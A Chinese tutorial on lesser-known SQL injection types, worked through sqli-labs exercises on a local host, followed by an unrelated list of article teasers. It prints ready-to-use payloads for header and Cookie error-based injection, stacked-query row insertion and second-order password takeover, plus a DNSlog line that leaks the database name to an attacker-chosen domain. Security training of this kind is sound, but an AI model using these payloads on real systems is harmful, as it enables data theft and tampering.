SQL注入的剩余类型

除了联合查询注入,报错注入,盲注注入 sql注入还有以下几类🦹🦹🦹🦹🦹

开始填坑              

1.UA注入 

原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,
此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入

就像sqli的第18关

在这里我们可以尝试ua头注入,先找回登录的包 

一个引号报错,两个不报错 ,--->字符型注入

但是!!!!   这里的注入姿势又和select 不同,因为这里已经不是select了

所以就要有新的poc ,这里提供两个,以及查看其最终的效果

1.在括号内进行构造

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

2.注释掉后面的值

',1,extractvalue(1,concat(0x7e,(select database()),0x7e)));#

这,就是ua注入

2.refer注入

原理:当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器
的,
大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,
一般会把数据插入到某张表中所以可以用报错注入

所以这个好像和ua注入差不多,那就上poc吧

'and extractvalue(1,(concat(0x7e,(select database()),0x7e))))#
'and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and '

这样都是可以的

3.Dnslog外带

原理:将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志中显示出来。

但是前提得是:

  • 需要root权限
  • 需要Windows的操作系统
  • secure_file_priv为空

操作如下

先去找一个dns解析的网站

然后构造这样一个poc

http://127.0.0.1/sqli/Less-1/?id=1' and (select load_file(concat('\\\\',(select
database()),'.你的dns解析的域名/abc'))) --+

这样就能将他的数据库名字返回了 ,如果你想爆user()的话,记得在之前加上hex() 得到结果再进行解码

4.Cookie注入

虽然不知道为什么,但是总有一些逆天cookie长这个样子

cookie注入的原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数

所以我们就可以这样 

'and extractvalue(1,concat(0x7e,(select database()),0x7e))#

5.宽字节注入(锟斤拷

一般什么时候会发生宽字节注入呢? 当数据库采用GBK编码但是PHP又采用UTF-8编码的时候,而且还采用了一些关键词过滤函数就会发生宽字节注入 

没听懂?        来给你举个例子

假如有一个url=  127.0.0.1/sqli/less1/?id=1

那我们不用想,肯定是sql注入 单引号一套上去 但是你就会发现 ’ 变成了 /'  这就是强大的addslashes()函数的功劳了 ,但是,道高一丈,魔高一尺 我们可以抓住规则的漏洞!!

数据库不是GBK编码吗,我们能不能加点东西,让/变成一个 汉字 这样我们就实现了’的逃逸

我们只要找一个ascii码值大一点的数,将/和这个数让数据库一位是一个汉字就能实现绕过

我们常用%df,就是这样

那剩下来拿数据那些就简单了,很熟悉对吧!!

6.堆叠注入

堆叠,顾名思义,就是一堆的东西一起注入,上案例!!sqli的38关

这关感觉平平无奇,即使一个普通的字符串注入,但是我们去看一下源码??

暗藏玄只因鸡   开始代码审计!!!!

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">';	printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}
//            mysqli_free_result($result);}/* print divider */if (mysqli_more_results($con1))
  • 首先它的sql接受语句还是啥都没过滤,可以直接注入了
  • 然后他居然有一个 mysqli_multi_query($con1, $sql)函数,这个函数允许进行多次查询,也就是造成堆叠注入的根源!!!!!!(红队人员狂喜!!)

于是就可以构造poc

1'; insert into users(username,password) values("遇到堆叠注入","红队人员狂喜");--+

直接看第十六条数据,嘿嘿!!

7.二次注入

如果要完成二次注入,你就必须知道一个真实人员的账号假设有一个admin 密码也是admin

首先,我们注册一个用户名字为admin'# 密码为123 

然后,我们去改密码为123456就会发现 

登不进去了😱😱😱😱

反而密码变成了我们改的密码123456

这是因为update的原因 我们用admin’# 改密码的时候,发生了这样一个poc

update users password ="123456" where username="admin'#"

可以看到 admin后面的 '刚好完成了闭合 并且用#将后面的"注释掉了 

这就是二次注入的魅力 基本不存在注入(如果你把admin'#也过滤那就没办法了),但是我在二次尝试的时候就形成了注入

以上就基本上是sql注入的一些方法了, 吐槽一句 好nm的冷啊啊啊啊啊啊啊啊啊啊啊啊啊

                                                         

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/653862.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【技术分享】Ubuntu 20.04如何更改用户名

产品简介 本文适用于所有RK3568/RK3588平台产品在Ubuntu 20.04系统上如何更改用户名&#xff0c;本文以IDO-EVB3588开发板为例&#xff0c;在ubuntu20.04系统上修改用户名industio为usernew。 IDO-EVB3588开发板是一款基于RK3588平台的产品。该开发板集成了四核Cortex-A76和四…

扫描电子显微镜电子束辐射损伤和如何减轻

扫描电镜&#xff08;Scanning Electron Microscope, SEM&#xff09;是一种常用的材料表征技术&#xff0c;它通过聚焦电子束扫描样品表面&#xff0c;利用电子与样品相互作用产生的信号来获得高分辨率的形貌图像。然而&#xff0c;电子束的辐射可能会对样品造成损伤&#xff…

Qt6入门教程 13:QPushButton

目录 一.QPushButton 1.多选 2.互斥 3.设置菜单 4.图标按钮 4.1给按钮添加图标 4.2异形按钮 二.设置Qt样式表 一.QPushButton QPushButton是与QAbstractButton最接近的完全体按钮&#xff0c;它具备QAbstractButton的所有特性&#xff0c;并且支持设置菜单。 1.多选 …

2024幻兽帕鲁服务器,阿里云配置

阿里云幻兽帕鲁服务器Palworld服务器推荐4核16G配置&#xff0c;可以选择通用型g7实例或通用算力型u1实例&#xff0c;ECS通用型g7实例4核16G配置价格是502.32元一个月&#xff0c;算力型u1实例4核16G是432.0元/月&#xff0c;经济型e实例是共享型云服务器&#xff0c;价格是32…

docker容器运维命令

文章目录 docker psdocker execdocker inspectdocker topdocker attachdocker waitdocker exportdocker importdocker portdocker cpdocker diffdocker renamedocker statsdocker update总结 docker ps 列出容器。 docker ps [OPTIONS]OPTIONS说明&#xff1a; -a :显示所有的…

Python列表中的append功能及用法举例

Python列表中的append功能及用法举例 &#x1f335;文章目录&#x1f335; &#x1f333;引言&#x1f333;&#x1f333;append()&#x1f333;&#x1f340;功能介绍&#x1f340;&#x1f340;语法&#x1f340;&#x1f340;示例&#x1f340;&#x1f340;注意事项&#x…

总结NB-IoT模块和单片机的区别

在学习了NB-IoT模块后&#xff0c;紧接着又学习了单片机系统&#xff0c;单片机和NB-IoT模块有什么不同之处呢&#xff0c;总结为以下几点。 大纲如图&#xff1a; 一、硬件层面 1、采用芯片不同&#xff0c; &#xff08;1&#xff09;封装&#xff1a;封装尺寸、方式不同&a…

网络原理,网络通信以及网络协议

​​​​&#x1f493; 博客主页&#xff1a;从零开始的-CodeNinja之路 ⏩ 收录专栏&#xff1a;网络原理,网络通信以及网络协议 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 文章目录 网络原理概念网络通信局域网LAN广域网WAN 网络通信IP地址端口号…

VUE3动漫影视视频网站模板源码

文章目录 1.视频设计来源1.1 主界面1.2 动漫、电视剧、电影视频界面1.3 播放视频界面1.4 娱乐前线新闻界面1.5 关于我们界面 2.效果和源码2.1 动态效果2.2 源码结构 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/deta…

MyBatis概述与MyBatis入门程序

MyBatis概述与MyBatis入门程序 一、MyBatis概述二、入门程序1.准备开发环境&#xff08;1&#xff09;准备数据库&#xff08;2&#xff09;创建一个maven项目 2.编写代码&#xff08;1&#xff09;打包方式和引入依赖&#xff08;2&#xff09;新建mybatis-config.xml配置⽂件…

Web前端开发工具总结

一、nvm&#xff0c;node&#xff0c;npm之间的区别 nodejs&#xff1a;在项目开发时的所需要的代码库。相当于JDK npm&#xff1a;nodejs 包管理工具&#xff0c;npm 可以管理 nodejs 的第三方插件。在安装的 nodejs 的时候&#xff0c;npm 也会跟着一起安装。相当于Maven。 …

Redis学习——高级篇③

Redis学习——高级篇③ Redis7高级之缓存双写一致性之更新策略探讨&#xff08;三&#xff09; 1.缓存双写一致性2.数据库和缓存一致性的几种更新策略2.1 可停机的情况2.2 不可停机的情况,四种更新策略&#xff08;推荐最后一种&#xff0c;看场景&#xff09;1.❌先…

Java8-Stream 流基本应用-groupBy进行分组

groupBy进行分组 Testpublic void testStreamGroupBy(){List<UserInfoModel> resultnew ArrayList<>();for (int i 0; i < 10; i) {UserInfoModel usernew UserInfoModel();user.setUserId(i"");user.setUserName("kangshihang");result.a…

【代码随想录-链表】移除链表元素

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

Kafka(九)跨集群数据镜像

目录 1 跨集群镜像的应用场景1.1 区域集群和中心集群1.2 高可用(HA)和灾备(DR)1.3 监管与合规1.4 云迁移1.5 聚合边缘集群的数据 2 多集群架构2.1 星型架构2.2 双活架构2.2 主备架构2.2.1 如何实现Kafka集群的故障转移2.2.1.1 故障转移包括的内容1. 灾难恢复计划2. 非计划内的故…

DELMIAWORKS核心优势深度探析

一&#xff1a;制造BOM从产品结构到制造场景 BOM是所有制造系统的核心&#xff0c;DELMIAWORKS作为专业的制造运营系统&#xff0c;在理解制造BOM方面的能力已经超越了传统系统的范畴。其与传统系统的最大区别在于DELMIAWORKS将焦点放在制造场景的描述上&#xff0c;而非产品结…

259:vue+openlayers: 显示海量多边形数据,10ms加载完成

第259个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+openlayers项目中通过WebGLVectorLayerRenderer方式加载海量多边形数据。这里相当于将海量的数据放在同一个层的source中,然后通过webglTile的方式渲染出这一层。 本示例数据为5000个多边形,加载速度超级快。 直接…

数据库性能问题分析优化

客户反应应用频繁卡住&#xff0c;只能通过重启应用才能恢复&#xff0c;一天发生若干次。 问题初步分析处理 从最近得到的三个awr报告看&#xff0c;等待事件基本在于“DB CPU”&#xff0c;“db file sequential read”&#xff0c;“log file sync”&#xff0c;“log fil…

leetcode 26.删除有序数组中的重复项(python版)

需求 给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c; 返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量为 k &#x…

浅谈扬州晶澳-年产3GW高性能太阳能光伏组件项目Acrel-3000WEB电能管理系统的设计及应用

摘要&#xff1a;在信息时代&#xff0c;电力信息系统的应用促迚了电力企业的収展&#xff0c;增强了电力系统运行的安全性与稳定性&#xff0c;对满足用户需求其有重要意义。随着国家电网改革政策的逐步推进和落实&#xff0c;Acrel-3000WEB电能管理系统运用互联网和大数据技术…